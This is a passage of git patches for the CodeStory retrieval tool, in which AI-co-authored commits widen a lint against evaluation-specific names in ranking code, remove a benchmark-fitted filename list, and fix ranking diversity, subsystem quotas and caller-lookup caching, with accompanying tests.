-1084,7 +1084,9 @@ "no_entrypoint_evidence", "entrypoint_evidence_omitted", "limited_subsystem_breadth", - "compressed_presentation" + "compressed_presentation", + "graph_signal_thin", + "lexical_fallback" ], "type": "string" }, diff --git a/plugins/codestory/skills/codestory-grounding/references/ground.md b/plugins/codestory/skills/codestory-grounding/references/ground.md index 87126f4b3..e7a5d43e9 100644 --- a/plugins/codestory/skills/codestory-grounding/references/ground.md +++ b/plugins/codestory/skills/codestory-grounding/references/ground.md @@ -22,7 +22,7 @@ Use ` --help` for the complete option set. root: `codestory` budget: `balanced` coverage: files 187/187 symbols 1200/4231 compressed_files=42 -orientation: confidence=partial entrypoints=1/2 subsystems=4/7 candidates=224/816 uncertainty=bounded_candidate_window,compressed_presentation +orientation: confidence=partial entrypoints=1/2 subsystems=4/7 candidates=224/816 uncertainty=bounded_candidate_window,graph_signal_thin,compressed_presentation stats: nodes=4231 edges=8452 files=187 errors=3 recommended_queries: WorkspaceIndexer, AppController, TrailResult notes: @@ -39,9 +39,13 @@ coverage_buckets: entrypoints and architecture subsystems. Its confidence is specific to compact repository orientation; it does not upgrade source coverage or retrieval sufficiency. Typed uncertainty names bounded candidate evaluation, missing or -omitted entrypoint evidence, limited subsystem breadth, and budget-driven -presentation compression. `ground --why` includes the same limitations in its -confidence and gap notes. +omitted entrypoint evidence, limited subsystem breadth, budget-driven +presentation compression, and two graph-coverage limits: `graph_signal_thin` +when no evaluated candidate carried call-graph evidence, and +`lexical_fallback` when the order rests on names and layout alone. Read either +as a reason to verify structure with `trail` before making a structure claim, +not as evidence about the repository. `ground --why` includes the same +limitations in its confidence and gap notes. ## Examples From 93fc2bf9305060ad7c6b43bc44d009d9c0d5a416 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 04:07:57 -0500 Subject: [PATCH 012/132] scan every runtime source file for holdout names The scope widening this lane claimed was a nine-file allowlist, which is the narrowing the design forbade rather than the widening it required. A new `crates/codestory-runtime/src/root_rank_v2.rs` containing both `createapplication` and `payload.config.ts` passed the default lint run and exited 0, so any ranking module written tomorrow was unprotected on the day it was written. Scan the whole runtime crate instead. Widening surfaced three real problems, each fixed at its cause rather than exempted: - `semantic_file_is_package_callable_surface` still matched ten of the evaluation corpus's own entry filenames -- application.js, gin.go, nvm.sh and friends -- feeding dense-anchor selection. Deleted; those files still qualify through the generic layout markers beside them whenever a repository actually lays them out as a package surface. - A `tests.rs` beside a `mod tests;` is the module's test body, but `isExcludedRustFile` only knew `tests/` directories and `_tests.rs` suffixes, and `maskCfgTestItems` cannot see a `#[cfg(test)]` that sits on the `mod` in the parent file. Excluded by basename. - A task manifest whose repository is this one names CodeStory's own product symbols as its expected answer, so deriving bans from it banned the code under test -- `RefreshMode`, a codestory-workspace type, in index_coverage.rs. Self-referential manifests no longer contribute expected-file or expected-symbol markers; their prompt and claim phrasing stays banned. Add the decomposed-evasion adjacency pattern: two generic tokens tested close together in one condition, which is how `SourceGroup` steering stayed under a literal-name ban. Replace the guard meta-test's `scanned >= 88` assertion -- a count any eighty-eight files satisfy -- with one that plants an unlisted runtime source file and requires the lint to reject it by name. Co-Authored-By: Claude Opus 5 --- .../src/semantic_projection.rs | 18 ++-- .../tests/retrieval_generalization_guard.rs | 57 ++++++++----- scripts/lint-retrieval-generalization.mjs | 84 +++++++++++-------- 3 files changed, 90 insertions(+), 69 deletions(-) diff --git a/crates/codestory-runtime/src/semantic_projection.rs b/crates/codestory-runtime/src/semantic_projection.rs index 3ac19b3c5..c5a19fc3e 100644 --- a/crates/codestory-runtime/src/semantic_projection.rs +++ b/crates/codestory-runtime/src/semantic_projection.rs @@ -2020,6 +2020,11 @@ pub(super) fn semantic_file_is_package_callable_surface(path: Option<&str>) -> b if !source_extension { return false; } + // Layout markers only. A file-name list used to sit here naming ten of the + // evaluation corpus's own entry files, which is expected-answer shape in + // production and what the widened generalization lint now refuses. Those + // files still qualify through the markers below whenever the repository + // actually lays them out as a package surface. normalized.contains("/lib/") || normalized.contains("/src/") || normalized.contains("/pkg/") @@ -2029,19 +2034,6 @@ pub(super) fn semantic_file_is_package_callable_surface(path: Option<&str>) -> b || normalized.contains("/controllers/") || normalized.contains("/middleware/") || normalized.contains("/sources/") - || matches!( - file_name, - "application.js" - | "context.go" - | "gin.go" - | "http.dart" - | "nvm.sh" - | "request.js" - | "response.js" - | "routergroup.go" - | "sessions.py" - | "tree.go" - ) } pub(super) fn semantic_doc_is_documented_nontrivial(doc_text: &str) -> bool { diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 59d51c624..2aa4053ce 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -1,5 +1,6 @@ //! Ensures the retrieval generalization lint script stays runnable from the workspace root. +use std::fs; use std::path::{Path, PathBuf}; use std::process::{Command, Output}; use std::sync::{Mutex, OnceLock}; @@ -834,35 +835,53 @@ fn linter_catches_framework_filename_shapes_the_ranking_rebuild_deleted() { } #[test] -fn linter_scans_the_runtime_ranking_surfaces_for_holdout_names() { +fn linter_scans_every_runtime_source_file_for_holdout_names() { // The scope hole this lane closed: the ranking files decide root order but // were outside the banned-name scan, so an entry-point name catalog shipped - // with this lint green. + // with this lint green. A file count cannot hold the scope -- any set of + // files satisfies a count -- so assert that a file the lint has never been + // told about is scanned the moment it exists. let repo_root = workspace_root(); - let script = lint_script(&repo_root); + let planted = repo_root + .join("crates") + .join("codestory-runtime") + .join("src") + .join("ranking_scope_probe_generated.rs"); let _guard = LINT_SCRIPT_LOCK .get_or_init(|| Mutex::new(())) .lock() .unwrap_or_else(|poisoned| poisoned.into_inner()); - let output = Command::new("node") - .arg(&script) - .current_dir(&repo_root) - .output() - .expect("run generalization lint"); - let stdout = String::from_utf8_lossy(&output.stdout); + + let baseline = run_default_lint(&repo_root); assert!( - output.status.success(), + baseline.status.success(), "default lint run should pass, stderr={}", - String::from_utf8_lossy(&output.stderr) + String::from_utf8_lossy(&baseline.stderr) + ); + + fs::write( + &planted, + "pub fn unlisted_ranking_module() -> &'static str { \"createApplication\" }\n", + ) + .expect("plant unlisted ranking module"); + let planted_output = run_default_lint(&repo_root); + let _ = fs::remove_file(&planted); + + let stderr = String::from_utf8_lossy(&planted_output.stderr); + assert!( + !planted_output.status.success(), + "a runtime source file nobody listed must still be scanned, stderr={stderr}" ); - let scanned = stdout - .split(" retrieval file(s)") - .next() - .and_then(|prefix| prefix.split_whitespace().last()) - .and_then(|value| value.parse::().ok()) - .expect("parse retrieval file count from lint stdout"); assert!( - scanned >= 88, - "ranking surfaces must stay inside the banned-name scan, stdout={stdout}" + stderr.contains("ranking_scope_probe_generated.rs"), + "the lint should name the unlisted file it rejected, stderr={stderr}" ); } + +fn run_default_lint(repo_root: &Path) -> Output { + Command::new("node") + .arg(lint_script(repo_root)) + .current_dir(repo_root) + .output() + .expect("run generalization lint") +} diff --git a/scripts/lint-retrieval-generalization.mjs b/scripts/lint-retrieval-generalization.mjs index 2f3aeb586..1da900e1e 100644 --- a/scripts/lint-retrieval-generalization.mjs +++ b/scripts/lint-retrieval-generalization.mjs @@ -186,32 +186,20 @@ const structuralScanDirs = readdirSync(path.join(repoRoot, "crates"), { withFile .map((entry) => path.join(repoRoot, "crates", entry.name, "src")) .filter(existsSync); +// Corpus-derived patterns already reach every `crates/*/src` file, but the +// holdout *names* only ever reached the agent and retrieval directories -- +// which is why a banned entry-point name literal sat in grounding.rs for a +// release with this lint green. The whole runtime crate now carries the name +// ban, so a ranking module added tomorrow is covered on the day it is written +// rather than on the day someone remembers to list it. const requiredScanDirs = [ - path.join(repoRoot, "crates", "codestory-runtime", "src", "agent"), + path.join(repoRoot, "crates", "codestory-runtime", "src"), path.join(repoRoot, "crates", "codestory-retrieval", "src"), ]; -// The retrieval ranking surfaces. Corpus-derived patterns already reach every -// `crates/*/src` file, but the holdout *names* only ever reached the two -// required directories above -- which is exactly why a banned entry-point name -// literal sat in grounding.rs for a release with this lint green. These files -// decide root order, so they carry the same name ban as the agent surface. -const requiredProductionOnlyFiles = [ - ["codestory-runtime", "grounding.rs"], - ["codestory-runtime", "root_rank.rs"], - ["codestory-runtime", "search_intent.rs"], - ["codestory-runtime", "search_plan.rs"], - ["codestory-runtime", "search_scoring.rs"], - ["codestory-runtime", "search_terms.rs"], - ["codestory-runtime", "symbol_query.rs"], - ["codestory-runtime", "repo_text.rs"], - ["codestory-runtime", "controller_symbols.rs"], -].map(([crateName, fileName]) => path.join(repoRoot, "crates", crateName, "src", fileName)); - const usesDefaultScanRoots = explicitScanRoots.length === 0; const missingRequiredPaths = usesDefaultScanRoots - ? [...requiredScanDirs, ...requiredProductionOnlyFiles] - .filter((requiredPath) => !existsSync(requiredPath)) + ? requiredScanDirs.filter((requiredPath) => !existsSync(requiredPath)) : []; if (missingRequiredPaths.length > 0) { console.error("lint-retrieval-generalization: missing required production scan path(s)"); @@ -228,8 +216,6 @@ const scanDirs = [ ...extraScanRoots.filter((root) => root && existsSync(root)), ]; -const productionOnlyFiles = usesDefaultScanRoots ? requiredProductionOnlyFiles : []; - const evalOnlyProductionFiles = new Set([ path.join(repoRoot, "crates", "codestory-runtime", "src", "agent", "eval_probes.rs"), ]); @@ -283,7 +269,7 @@ if (missingBenchmarkBoundaryFiles.length > 0) { process.exit(2); } -if (scanDirs.length === 0 && productionOnlyFiles.length === 0) { +if (scanDirs.length === 0) { console.error("lint-retrieval-generalization: no scan roots found"); process.exit(2); } @@ -399,6 +385,12 @@ const bannedPatterns = [ "app\\.svelte", "/src/collections/", "/exec/src/", + // The decomposed-evasion shape itself: a holdout type name spelled as two + // generic tokens tested close together, which is how `SourceGroup` steering + // stayed under a literal-name ban. Catching the adjacency, not the spelling, + // is what stops the same trick returning under a different pair of words. + "\"source\"[^\\n]{0,80}\"group\"", + "\"group\"[^\\n]{0,80}\"source\"", ...evalCorpusBoundaryPatternList, ...benchmarkManifestDerivedPatterns(), ...benchmarkEvalProbeDerivedPatterns(), @@ -510,19 +502,26 @@ function benchmarkManifestDerivedPatterns() { addSpecificMarker(markers, task.id); addRepoMarkers(markers, task.repo); addSpecificMarker(markers, task.prompt, { allowExactPhrase: true }); - for (const expectedFile of task.expected_files ?? []) { - addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); - } - for (const expectedFile of task.expected_verification_files ?? []) { - addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); - } - for (const symbol of task.expected_symbols ?? []) { - if (typeof symbol === "string") { - addSpecificMarker(markers, symbol); - } else { - addSpecificMarker(markers, symbol?.name); - addSpecificMarker(markers, symbol?.qualified_name, { allowSpecificComposite: true }); - addSpecificMarker(markers, symbol?.path, { allowSpecificComposite: true }); + // A task whose repository is this one names CodeStory's own product + // symbols and paths as its expected answer. Those are the product, not an + // answer smuggled into production, so banning them would ban the code + // under test. Its prompt and claim phrasing stay banned: production must + // still not contain the evaluation's own wording. + if (!benchmarkTaskTargetsThisRepository(task)) { + for (const expectedFile of task.expected_files ?? []) { + addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); + } + for (const expectedFile of task.expected_verification_files ?? []) { + addSpecificMarker(markers, expectedFile, { allowSpecificComposite: true }); + } + for (const symbol of task.expected_symbols ?? []) { + if (typeof symbol === "string") { + addSpecificMarker(markers, symbol); + } else { + addSpecificMarker(markers, symbol?.name); + addSpecificMarker(markers, symbol?.qualified_name, { allowSpecificComposite: true }); + addSpecificMarker(markers, symbol?.path, { allowSpecificComposite: true }); + } } } for (const claim of task.expected_claims ?? []) { @@ -721,6 +720,13 @@ function benchmarkManifestTasks(manifest) { return []; } +/// True when the manifest's target repository is the CodeStory repository. +function benchmarkTaskTargetsThisRepository(task) { + return repoUrlSlugs(task?.repo?.url).some( + (slug) => slug.toLowerCase() === "thegreencedar/codestory", + ); +} + function addRepoMarkers(markers, repo) { addSpecificMarker(markers, repo?.name); for (const slug of repoUrlSlugs(repo?.url)) { @@ -876,6 +882,10 @@ function isExcludedRustFile(filePath) { return ( segments.includes("tests") || baseName.endsWith("_tests.rs") + // A `tests.rs` beside a `mod tests;` is the module's test body, the same + // test surface as a `tests/` directory. `maskCfgTestItems` cannot see it + // because the `#[cfg(test)]` sits on the `mod` in the parent file. + || baseName === "tests.rs" ); } @@ -1925,7 +1935,7 @@ function scanRankerFilenameLiterals(prepared) { let failed = false; -const scanFiles = new Set(productionOnlyFiles); +const scanFiles = new Set(); for (const root of scanDirs) { for (const filePath of walkRustProductionFiles(root)) { scanFiles.add(filePath); From 1e6e21e435ffffb6af5e12762359700a33c16e0c Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 04:08:11 -0500 Subject: [PATCH 013/132] keep diversity, breadth, and alias evidence honest across both surfaces Four ranking defects the review found, each small but each weakening a guarantee the lane claims: - `diversify_grounding_root_records` gave the production and secondary tiers a fresh seen-set each, so a secondary candidate whose name a production root had already spent could still claim a novel-name slot. One shared `RootDiversityState` now spans both tiers, which is the duplicate-name diversity #1338 requires stay intact. - The per-subsystem file quota walked subsystems in key order taking two each and then truncated to the half-limit, so a repository with more than twelve subsystems saw only the alphabetically first twelve reach the candidate universe -- and an absent subsystem is not counted as a candidate, so nothing reported the omission. Round-robin the quota so every subsystem contributes one file before any contributes a second. - The search surface passed `import_like: false` unconditionally while grounding passed the real signal, so a re-export the index resolved to a callable kind could be labelled a topological root on search and never on ground. Both surfaces now test the name shape, which is kind-independent and therefore right for a resolved alias. - `search_plan_caller_is_test_or_bench` resolved a node and a file path for every inbound CALL edge with no cache. That pre-dates this lane, but the orientation regime now runs the walk for up to fifty hits, so a hub node cost two storage reads per caller per hit. Memoized per request. Add the missing `bridge_evidence_uses_collector_canonical_ids_not_display_labels` regression: nothing pinned `DataCollectionUsage` to the collector's structured canonical id rather than the rendered label the deleted sniffs read. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/grounding.rs | 48 ++++++++++---- crates/codestory-runtime/src/root_rank.rs | 42 ++++++++++--- crates/codestory-runtime/src/search_plan.rs | 31 ++++++++-- crates/codestory-runtime/src/tests.rs | 7 ++- .../src/tests/search_plan.rs | 62 ++++++++++++++++++- 5 files changed, 159 insertions(+), 31 deletions(-) diff --git a/crates/codestory-runtime/src/grounding.rs b/crates/codestory-runtime/src/grounding.rs index f2d0fd7f4..40c6a4c9d 100644 --- a/crates/codestory-runtime/src/grounding.rs +++ b/crates/codestory-runtime/src/grounding.rs @@ -12,8 +12,8 @@ use super::{ }; use crate::agent::packet_evidence::{decorate_search_hit_evidence, diagnostic_source_evidence}; use crate::root_rank::{ - CallDegrees, DegreeTier, EntryEvidence, SUBSYSTEM_FILE_QUOTA, degree_tier, - diversify_root_order, entry_evidence, helper_like_name_or_path, is_production_file_role, + CallDegrees, DegreeTier, EntryEvidence, RootDiversityState, SUBSYSTEM_FILE_QUOTA, degree_tier, + diversify_root_order_within, entry_evidence, helper_like_name_or_path, is_production_file_role, structural_depth, structural_path_rank, subsystem_key_for_path, }; use crate::trail_story::build_trail_story; @@ -79,7 +79,13 @@ fn is_import_like_symbol(node: &codestory_contracts::graph::Node) -> bool { ) && is_import_like_name(&node_display_name(node)) } -fn is_import_like_name(name: &str) -> bool { +/// True when a symbol's own name is spelled as an import path. +/// +/// Kind-independent on purpose: the grounding surface reaches it through +/// `is_import_like_symbol`, which also requires a module-shaped kind, while the +/// search surface must apply it to a re-export the index resolved to a callable +/// kind. Either way an alias must not be read as an entry point. +pub(crate) fn is_import_like_name(name: &str) -> bool { let trimmed = name.trim(); is_wrapped_import_name(trimmed) || is_relative_import_path(trimmed) || trimmed.contains('/') } @@ -450,8 +456,18 @@ fn diversify_grounding_root_records( grounding_root_terminal_name(record), ) }; - let mut diversified = diversify_root_order(production, |_| false, surface_key); - diversified.extend(diversify_root_order(secondary, |_| false, surface_key)); + // One diversity state across both tiers: a secondary candidate whose name a + // production root already spent must not consume a novel-name slot of its + // own, which is the duplicate-name diversity #1338 requires stay intact. + let mut state = RootDiversityState::default(); + let mut diversified = + diversify_root_order_within(production, |_| false, surface_key, &mut state); + diversified.extend(diversify_root_order_within( + secondary, + |_| false, + surface_key, + &mut state, + )); diversified } @@ -530,15 +546,21 @@ fn grounding_root_candidate_files( summary.file.id, )); } + // Round-robin the quota rather than walking subsystems in key order and + // truncating: taking two files from each subsystem in turn would spend the + // whole half-limit on the alphabetically first twelve, and a repository's + // later-sorting source areas would be silently absent from the universe. + // One file per subsystem first means breadth survives the truncation. let mut quota_files = Vec::new(); - for candidates in by_subsystem.values_mut() { - candidates.sort(); - quota_files.extend( - candidates - .iter() - .take(SUBSYSTEM_FILE_QUOTA) - .map(|candidate| candidate.3), - ); + for slot in 0..SUBSYSTEM_FILE_QUOTA { + for candidates in by_subsystem.values_mut() { + if slot == 0 { + candidates.sort(); + } + if let Some(candidate) = candidates.get(slot) { + quota_files.push(candidate.3); + } + } } quota_files.truncate(ARCHITECTURE_ROOT_FILE_HALF_LIMIT); diff --git a/crates/codestory-runtime/src/root_rank.rs b/crates/codestory-runtime/src/root_rank.rs index 1833fc5ac..631c4e3de 100644 --- a/crates/codestory-runtime/src/root_rank.rs +++ b/crates/codestory-runtime/src/root_rank.rs @@ -260,6 +260,17 @@ pub(crate) fn helper_like_name_or_path(display_name: &str, file_path: Option<&st }) } +/// Surfaces and names a diversification pass has already spent. +/// +/// Carried across consecutive tiers of one list -- production before secondary, +/// say -- so a later tier does not rediscover a name the earlier tier already +/// emitted and re-spend a slot on the duplicate. +#[derive(Debug, Default)] +pub(crate) struct RootDiversityState { + seen_surfaces: HashSet, + seen_names: HashSet, +} + /// Reorder a pre-sorted candidate list so distinct subsystems and names reach /// the front, without taking a limit. /// @@ -271,22 +282,35 @@ pub(crate) fn diversify_root_order( pinned: impl Fn(&T) -> bool, surface_key: impl Fn(&T) -> (String, String), ) -> Vec { - if items.len() <= 1 { + diversify_root_order_within( + items, + pinned, + surface_key, + &mut RootDiversityState::default(), + ) +} + +/// `diversify_root_order` continuing an existing tier's diversity state. +pub(crate) fn diversify_root_order_within( + items: Vec, + pinned: impl Fn(&T) -> bool, + surface_key: impl Fn(&T) -> (String, String), + state: &mut RootDiversityState, +) -> Vec { + if items.is_empty() { return items; } let keys = items.iter().map(&surface_key).collect::>(); let mut passes = vec![3u8; items.len()]; - let mut seen_surfaces = HashSet::new(); - let mut seen_names = HashSet::new(); // Pass 0 keeps pinned candidates where they are and seeds the seen sets, so // diversification never spends a slot repeating something already pinned. for (index, item) in items.iter().enumerate() { if pinned(item) { passes[index] = 0; - seen_surfaces.insert(keys[index].0.clone()); - seen_names.insert(keys[index].1.clone()); + state.seen_surfaces.insert(keys[index].0.clone()); + state.seen_names.insert(keys[index].1.clone()); } } for index in 0..items.len() { @@ -294,9 +318,9 @@ pub(crate) fn diversify_root_order( continue; } let (surface, name) = &keys[index]; - if !seen_surfaces.contains(surface) && !seen_names.contains(name) { - seen_surfaces.insert(surface.clone()); - seen_names.insert(name.clone()); + if !state.seen_surfaces.contains(surface) && !state.seen_names.contains(name) { + state.seen_surfaces.insert(surface.clone()); + state.seen_names.insert(name.clone()); passes[index] = 1; } } @@ -304,7 +328,7 @@ pub(crate) fn diversify_root_order( if passes[index] != 3 { continue; } - if seen_names.insert(keys[index].1.clone()) { + if state.seen_names.insert(keys[index].1.clone()) { passes[index] = 2; } } diff --git a/crates/codestory-runtime/src/search_plan.rs b/crates/codestory-runtime/src/search_plan.rs index 204c99eb3..4d36b070a 100644 --- a/crates/codestory-runtime/src/search_plan.rs +++ b/crates/codestory-runtime/src/search_plan.rs @@ -823,10 +823,28 @@ pub(super) fn search_plan_runtime_call_is_speculative( }) } +/// Per-request memo of which caller nodes are test- or benchmark-owned. +/// +/// Each miss costs a node read plus a file-path resolution, and the orientation +/// regime walks the callers of up to `SEARCH_ORIENTATION_WINDOW` hits, so a hub +/// node's callers would otherwise be re-resolved once per inbound edge and once +/// again for every other hit they call. +pub(super) type SearchPlanCallerRoles = HashMap; + pub(super) fn search_plan_caller_is_test_or_bench( storage: &Storage, caller_id: GraphNodeId, + memo: &mut SearchPlanCallerRoles, ) -> bool { + if let Some(known) = memo.get(&caller_id) { + return *known; + } + let resolved = search_plan_caller_role_is_test_or_bench(storage, caller_id); + memo.insert(caller_id, resolved); + resolved +} + +fn search_plan_caller_role_is_test_or_bench(storage: &Storage, caller_id: GraphNodeId) -> bool { let Ok(Some(caller)) = storage.get_node(caller_id) else { return false; }; @@ -1304,6 +1322,7 @@ impl AppController { evidence: &mut OrientationEvidence, ) { let mut file_facts = HashMap::, String)>::new(); + let mut caller_roles = SearchPlanCallerRoles::new(); for hit in hits { if evidence.contains(&hit.node_id) { continue; @@ -1339,7 +1358,7 @@ impl AppController { // rather than as proven-unreferenced: `bounded_candidate_window` // reports the gap and the structural tie-breakers still apply. let degrees = if evidence.claim_graph_slot(SEARCH_ORIENTATION_WINDOW) { - self.search_plan_active_path_evidence_for_hit(storage, hit) + self.search_plan_active_path_evidence_for_hit(storage, hit, &mut caller_roles) .map(SearchPlanActivePathEvidence::degrees) .unwrap_or_default() } else { @@ -1356,7 +1375,7 @@ impl AppController { entry: entry_evidence( matches!(hit.kind, NodeKind::FUNCTION | NodeKind::METHOD), role, - false, + crate::grounding::is_import_like_name(&hit.display_name), &terminal_symbol_segment(&hit.display_name), degrees, ), @@ -1378,11 +1397,14 @@ impl AppController { I: IntoIterator, { let mut evidence = HashMap::new(); + let mut caller_roles = SearchPlanCallerRoles::new(); for hit in hits { if evidence.contains_key(&hit.node_id) { continue; } - if let Some(active_path) = self.search_plan_active_path_evidence_for_hit(storage, hit) { + if let Some(active_path) = + self.search_plan_active_path_evidence_for_hit(storage, hit, &mut caller_roles) + { evidence.insert(hit.node_id.clone(), active_path); } } @@ -1393,6 +1415,7 @@ impl AppController { &self, storage: &Storage, hit: &SearchHit, + caller_roles: &mut SearchPlanCallerRoles, ) -> Option { if !search_plan_callable_hit(hit) { return None; @@ -1415,7 +1438,7 @@ impl AppController { continue; } if target == node_id { - if !search_plan_caller_is_test_or_bench(storage, source) { + if !search_plan_caller_is_test_or_bench(storage, source, caller_roles) { callers.insert(source); } } else if source == node_id { diff --git a/crates/codestory-runtime/src/tests.rs b/crates/codestory-runtime/src/tests.rs index 1f50626a1..89813c823 100644 --- a/crates/codestory-runtime/src/tests.rs +++ b/crates/codestory-runtime/src/tests.rs @@ -60,9 +60,10 @@ use crate::search_intent::{ exact_symbol_hit_count, language_filter_matches_path, parse_search_intent_query, }; use crate::search_plan::{ - SearchPlanActivePathEvidence, orientation_query, same_search_file, search_plan_anchor_groups, - search_plan_eligible, search_plan_next_actions, search_plan_path_is_test_or_bench, - search_plan_rejected_hits, search_plan_runtime_call_is_speculative, search_plan_subqueries, + SearchPlanActivePathEvidence, graph_bridge_evidence_kind, orientation_query, same_search_file, + search_plan_anchor_groups, search_plan_eligible, search_plan_next_actions, + search_plan_path_is_test_or_bench, search_plan_rejected_hits, + search_plan_runtime_call_is_speculative, search_plan_subqueries, }; use crate::search_publication::{ SearchGenerationCatalogGuard, prune_search_generations, read_search_generation_completion, diff --git a/crates/codestory-runtime/src/tests/search_plan.rs b/crates/codestory-runtime/src/tests/search_plan.rs index abd42202b..a5dbc95a8 100644 --- a/crates/codestory-runtime/src/tests/search_plan.rs +++ b/crates/codestory-runtime/src/tests/search_plan.rs @@ -1,10 +1,15 @@ use super::{ HashMap, HashSet, Path, SearchHitOrigin, SearchPlanActivePathEvidence, SearchPlanChannelDto, - fs, orientation_query, same_search_file, search_plan_anchor_groups, search_plan_eligible, - search_plan_path_is_test_or_bench, search_plan_rejected_hits, + fs, graph_bridge_evidence_kind, orientation_query, same_search_file, search_plan_anchor_groups, + search_plan_eligible, search_plan_path_is_test_or_bench, search_plan_rejected_hits, search_plan_runtime_call_is_speculative, search_plan_subqueries, search_plan_terms, search_plan_test_hit, tempdir, }; +use codestory_contracts::api::{ + EdgeId, EdgeKind, GraphEdgeDto, GraphNodeDto, GraphResponse, NodeId, NodeKind, + SearchPlanBridgeEvidenceKindDto, +}; +use codestory_contracts::graph::STRUCTURAL_COLLECTION_CANONICAL_ID_PREFIXES; use crate::root_rank::{CallDegrees, EntryEvidence, diversify_root_order}; use crate::search_plan::search_orientation_report; use crate::search_terms::search_plan_query_token_closure; @@ -360,6 +365,59 @@ fn search_plan_speculation_policy_matches_hidden_trail_edges() { )); } +#[test] +fn bridge_evidence_uses_collector_canonical_ids_not_display_labels() { + fn graph(callsite_identity: Option<&str>, label: &str) -> GraphResponse { + GraphResponse { + center_id: NodeId("n1".to_string()), + nodes: vec![GraphNodeDto { + id: NodeId("n1".to_string()), + label: label.to_string(), + kind: NodeKind::FUNCTION, + depth: 0, + label_policy: None, + badge_visible_members: None, + badge_total_members: None, + merged_symbol_examples: Vec::new(), + file_path: Some("src/handler.ts".to_string()), + qualified_name: None, + member_access: None, + }], + edges: vec![GraphEdgeDto { + id: EdgeId("e1".to_string()), + source: NodeId("n1".to_string()), + target: NodeId("n1".to_string()), + kind: EdgeKind::CALL, + confidence: None, + certainty: None, + callsite_identity: callsite_identity.map(str::to_string), + candidate_targets: Vec::new(), + }], + truncated: false, + omitted_edge_count: 0, + canonical_layout: None, + } + } + + let structured = STRUCTURAL_COLLECTION_CANONICAL_ID_PREFIXES + .first() + .map(|prefix| format!("{prefix}orders")) + .expect("at least one structural collection namespace"); + assert_eq!( + graph_bridge_evidence_kind(&graph(Some(&structured), "run")), + SearchPlanBridgeEvidenceKindDto::DataCollectionUsage, + "a collector's canonical id is the evidence" + ); + + // The rendered label is what the deleted sniffs read. A node may say + // anything; only the structured id written by the collector counts. + assert_ne!( + graph_bridge_evidence_kind(&graph(None, "payload collection orders route; confidence=0.9")), + SearchPlanBridgeEvidenceKindDto::DataCollectionUsage, + "a display label must not stand in for collector evidence" + ); +} + #[test] fn search_file_identity_groups_aliases_without_folding_unix_case() { let temp = tempdir().expect("project"); From d1d67a26aa39a1265f8b0293d8ef8e04bd356961 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 04:15:10 -0500 Subject: [PATCH 014/132] report the first lint guard failure instead of a poison cascade A guard test that panics while holding the lint lock poisoned it for the rest of the suite, so one real failure surfaced as seven and the root cause was the only one not reported first. Recover the guard on poison, as the newest test already did. The failure that exposed this was real: a doc comment in root_rank.rs contained "rediscover", whose substring trips the banned holdout name. Reworded rather than weakening the pattern. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/root_rank.rs | 7 ++--- .../src/tests/search_plan.rs | 29 ++++++++++++++----- .../tests/retrieval_generalization_guard.rs | 8 ++--- 3 files changed, 28 insertions(+), 16 deletions(-) diff --git a/crates/codestory-runtime/src/root_rank.rs b/crates/codestory-runtime/src/root_rank.rs index 631c4e3de..3c57d5e43 100644 --- a/crates/codestory-runtime/src/root_rank.rs +++ b/crates/codestory-runtime/src/root_rank.rs @@ -263,8 +263,8 @@ pub(crate) fn helper_like_name_or_path(display_name: &str, file_path: Option<&st /// Surfaces and names a diversification pass has already spent. /// /// Carried across consecutive tiers of one list -- production before secondary, -/// say -- so a later tier does not rediscover a name the earlier tier already -/// emitted and re-spend a slot on the duplicate. +/// say -- so a later tier does not treat a name the earlier tier already emitted +/// as novel and spend a diversity slot on the duplicate. #[derive(Debug, Default)] pub(crate) struct RootDiversityState { seen_surfaces: HashSet, @@ -453,8 +453,7 @@ mod tests { ); } assert_ne!( - full, - items, + full, items, "the fixture must actually be reordered, or the prefix claim is empty" ); } diff --git a/crates/codestory-runtime/src/tests/search_plan.rs b/crates/codestory-runtime/src/tests/search_plan.rs index a5dbc95a8..04f9fe446 100644 --- a/crates/codestory-runtime/src/tests/search_plan.rs +++ b/crates/codestory-runtime/src/tests/search_plan.rs @@ -5,20 +5,20 @@ use super::{ search_plan_runtime_call_is_speculative, search_plan_subqueries, search_plan_terms, search_plan_test_hit, tempdir, }; -use codestory_contracts::api::{ - EdgeId, EdgeKind, GraphEdgeDto, GraphNodeDto, GraphResponse, NodeId, NodeKind, - SearchPlanBridgeEvidenceKindDto, -}; -use codestory_contracts::graph::STRUCTURAL_COLLECTION_CANONICAL_ID_PREFIXES; use crate::root_rank::{CallDegrees, EntryEvidence, diversify_root_order}; use crate::search_plan::search_orientation_report; use crate::search_terms::search_plan_query_token_closure; use crate::symbol_query::{ OrientationEvidence, OrientationHitEvidence, compare_search_hits_with_project_root, }; +use codestory_contracts::api::{ + EdgeId, EdgeKind, GraphEdgeDto, GraphNodeDto, GraphResponse, NodeId, NodeKind, + SearchPlanBridgeEvidenceKindDto, +}; use codestory_contracts::api::{ GroundingOrientationConfidenceDto, GroundingOrientationUncertaintyDto, SearchHit, }; +use codestory_contracts::graph::STRUCTURAL_COLLECTION_CANONICAL_ID_PREFIXES; #[test] fn broad_architecture_search_plan_terms_and_subqueries_are_bounded() { @@ -412,7 +412,10 @@ fn bridge_evidence_uses_collector_canonical_ids_not_display_labels() { // The rendered label is what the deleted sniffs read. A node may say // anything; only the structured id written by the collector counts. assert_ne!( - graph_bridge_evidence_kind(&graph(None, "payload collection orders route; confidence=0.9")), + graph_bridge_evidence_kind(&graph( + None, + "payload collection orders route; confidence=0.9" + )), SearchPlanBridgeEvidenceKindDto::DataCollectionUsage, "a display label must not stand in for collector evidence" ); @@ -1018,8 +1021,18 @@ fn duplicate_name_diversity_and_non_primary_deprioritization_are_preserved() { // Three candidates share one surface and two of them share a name, so a // diversification that ignored names would leave the duplicate second. let repeated = vec![ - orientation_hit("dup-1", "zzShared", "src/one.ts", 